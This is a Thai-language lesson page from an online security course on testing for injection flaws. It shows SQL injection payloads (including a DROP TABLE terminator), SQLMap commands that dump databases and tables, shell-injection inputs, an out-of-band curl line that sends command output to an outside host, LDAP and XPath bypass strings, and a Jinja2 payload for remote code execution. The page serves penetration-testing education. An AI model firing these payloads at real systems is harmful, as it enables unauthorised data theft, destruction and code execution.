0Pricing
Cyber Security Academy · บทเรียน

การทดสอบช่องโหว่แบบฉีดคำสั่ง

ใช้ SQLMap เพย์โหลดที่สร้างด้วยตนเอง และ Burp เพื่อทดสอบการฉีด SQL คำสั่ง และ LDAP

การทดสอบช่องโหว่แบบฉีดคำสั่ง เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน

ประเภทช่องโหว่การฉีด

การฉีดเกิดขึ้นเมื่อส่งข้อมูลที่ไม่น่าเชื่อถือไปยังตัวแปลภาษาในฐานะส่วนหนึ่งของคำสั่งหรือแบบสอบถาม ตัวแปลภาษาไม่สามารถแยกข้อมูลออกจากคำสั่งได้ จึงดำเนินการตามตรรกะที่ผู้โจมตีควบคุม การฉีด SQL, คำสั่ง, LDAP, XPath และแม่แบบ ล้วนอยู่ในประเภทนี้

การฉีด SQL: การทดสอบด้วยตนเอง

เริ่มด้วยเพย์โหลดง่าย ๆ เพื่อสำรวจหาการฉีด SQL เครื่องหมายอัญประกาศเดี่ยวจะทำให้แอปที่มีช่องโหว่เกิดข้อผิดพลาดทางไวยากรณ์ SQL ตรวจสอบข้อความข้อผิดพลาด ความแตกต่างของความยาวการตอบกลับ และเวลาการตอบกลับ

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLMap สำหรับการฉีด SQL แบบอัตโนมัติ

SQLMap ทำให้การตรวจหาและใช้ประโยชน์จากการฉีด SQL เป็นแบบอัตโนมัติ โดยตรวจหาจุดฉีด ระบุ DBMS และสามารถดึงฐานข้อมูล อ่านไฟล์ และทำให้โค้ดของ OS ทำงานบนระบบที่มีช่องโหว่ได้

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

การทดสอบการฉีดคำสั่ง

การฉีดคำสั่งเกิดขึ้นเมื่อส่งข้อมูลนำเข้าของผู้ใช้ไปยังฟังก์ชันเชลล์ของ OS ทดสอบด้วยอักขระพิเศษของเชลล์ ได้แก่ อัฒภาค เครื่องหมายไพพ์ แบ็กทิก และการแทนที่คำสั่ง $()

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

การฉีด LDAP

การฉีด LDAP จะปรับเปลี่ยนแบบสอบถาม LDAP ที่ใช้สำหรับการยืนยันตัวตนและการค้นหาไดเรกทอรี ทดสอบช่องการยืนยันตัวตนด้วย *)(uid=*))(|(uid=* เพื่อข้ามตัวกรอง

การฉีด XPath

การฉีด XPath มุ่งโจมตีระบบยืนยันตัวตนที่ใช้ XML โดยมีลักษณะคล้ายการฉีด SQL เพย์โหลดจะปรับเปลี่ยนแบบสอบถาม XPath เช่น ' or '1'='1 เพื่อข้ามการยืนยันตัวตน

การฉีดแม่แบบ (SSTI)

การฉีดแม่แบบฝั่งเซิร์ฟเวอร์เกิดขึ้นเมื่อแสดงผลข้อมูลนำเข้าของผู้ใช้ในเครื่องมือแม่แบบ (Jinja2, Twig, Freemarker) วิธีตรวจหา: แทรก {{7*7}} หากการตอบกลับแสดง 49 แสดงว่ามี SSTI

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

การใช้ Burp ทดสอบการฉีด

ส่งคำขอไปยัง Repeater แล้วแทรกเพย์โหลดลงในพารามิเตอร์แต่ละรายการด้วยตนเอง ใช้ Intruder เพื่อทำฟัซโดยอัตโนมัติด้วยรายการคำศัพท์สำหรับการฉีด (SecLists มีเพย์โหลดการฉีดที่ยอดเยี่ยม)

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

การตรวจหาการฉีดแบบตาบอด

เมื่อไม่มีผลลัพธ์ที่มองเห็นได้ ให้ใช้การหน่วงเวลาเพื่อยืนยันการทำงาน การเรียกกลับ DNS นอกแบนด์ (Burp Collaborator หรือ interactsh) และการตอบกลับตามค่าบูลีน (ความยาวเนื้อหาที่เปลี่ยนแปลง)

การอ่านข้อความข้อผิดพลาดของแอปพลิเคชัน

ข้อผิดพลาดแบบละเอียดเปิดเผยชนิดของฐานข้อมูล โครงสร้างแบบสอบถาม และเส้นทางไฟล์ ซึ่งมีคุณค่าอย่างยิ่งต่อการสร้างเพย์โหลดที่แม่นยำ ทดสอบด้วยข้อมูลนำเข้าที่เปิดใช้โหมดแก้ไขข้อบกพร่องหรือเปิดเผยข้อผิดพลาดควบคู่กับเพย์โหลดปกติเสมอ

เอกสารอ้างอิงการป้องกัน

ป้องกันการฉีดได้ด้วยแบบสอบถามที่ใช้พารามิเตอร์ (การฉีด SQL) การตรวจสอบข้อมูลนำเข้าและการทำเอสเคปสำหรับเชลล์ (การฉีดคำสั่ง) และการหลีกเลี่ยงการแสดงผลข้อมูลนำเข้าของผู้ใช้ในแม่แบบ (SSTI) นักพัฒนาต้องเข้าใจแนวทางเหล่านี้เพื่อเขียนโค้ดที่ปลอดภัย

ตรวจสอบความเข้าใจ

เพย์โหลดตรวจหา SSTI {{7*7}} ยืนยันอะไรเมื่อการตอบกลับแสดง 49

สรุป: การทดสอบการฉีด

ช่องโหว่การฉีดเกิดจากการผสมข้อมูลเข้ากับคำสั่ง ทดสอบข้อมูลนำเข้าทุกจุดที่ผู้ใช้ควบคุมได้ด้วยเพย์โหลดการฉีด SQL คำสั่ง แม่แบบ และ LDAP ใช้ SQLMap สำหรับการฉีด SQL แบบอัตโนมัติ ใช้ Burp Repeater สำหรับการทดสอบด้วยตนเอง และใช้เทคนิคหน่วงเวลา/OOB สำหรับการใช้ประโยชน์แบบตาบอด บันทึกเพย์โหลดและหลักฐานทั้งหมดไว้ในรายงานเสมอ

คำถามที่พบบ่อย

บทเรียน “การทดสอบช่องโหว่แบบฉีดคำสั่ง” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “การทดสอบช่องโหว่แบบฉีดคำสั่ง” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “การทดสอบช่องโหว่แบบฉีดคำสั่ง”

ใช้ SQLMap เพย์โหลดที่สร้างด้วยตนเอง และ Burp เพื่อทดสอบการฉีด SQL คำสั่ง และ LDAP คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน

บทเรียน “การทดสอบช่องโหว่แบบฉีดคำสั่ง” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม

ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. พร็อกซี Burp Suite และการดักจับคำขอ
  2. การทดสอบช่องโหว่แบบฉีดคำสั่ง
  3. การทดสอบการยืนยันตัวตนและเซสชัน
  4. ช่องโหว่การอัปโหลดไฟล์และ SSRF
← กลับไปที่ Cyber Security Academy